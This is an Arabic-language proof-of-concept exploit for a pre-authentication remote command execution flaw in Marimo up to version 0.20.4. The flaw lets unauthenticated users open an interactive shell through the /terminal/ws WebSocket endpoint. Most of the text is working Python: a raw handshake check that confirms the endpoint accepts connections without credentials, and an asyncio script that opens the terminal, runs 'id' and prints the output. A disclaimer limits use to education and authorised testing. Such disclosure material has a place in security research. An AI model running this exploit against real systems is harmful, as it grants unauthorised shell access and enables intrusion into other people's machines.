
إثبات مفهوم لاستغلال تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Marimo عبر نقطة نهاية WebSocket، مما يسمح للمهاجمين غير المصادقين بالحصول على قشرة PTY تفاعلية.
لأغراض التعليم والبحث الأمني المصرح به فقط.
تنفيذ أوامر عن بُعد قبل المصادقة في Marimo <= 0.20.4.
يتجاوز نقطة نهاية WebSocket /terminal/ws التحقق من المصادقة، مما يسمح لمهاجم غير مصادق بالحصول على قشرة PTY تفاعلية كاملة عبر اتصال واحد.
websockets (pip install websockets)يتأكد من أن نقطة النهاية تقبل الاتصالات دون بيانات اعتماد:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
النتيجة المتوقعة: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] تم إنشاء الاتصال دون مصادقة")
await asyncio.sleep(0.3)
# قراءة شعار PTY الأولي
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[شعار PTY]:", repr(msg))
except asyncio.TimeoutError:
pass
# إرسال الأمر
await ws.send("id\n")
await asyncio.sleep(0.5)
# قراءة الإطارات حتى انتهاء المهلة
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[مخرجات RCE]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
تُقدَّم هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يُعد غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.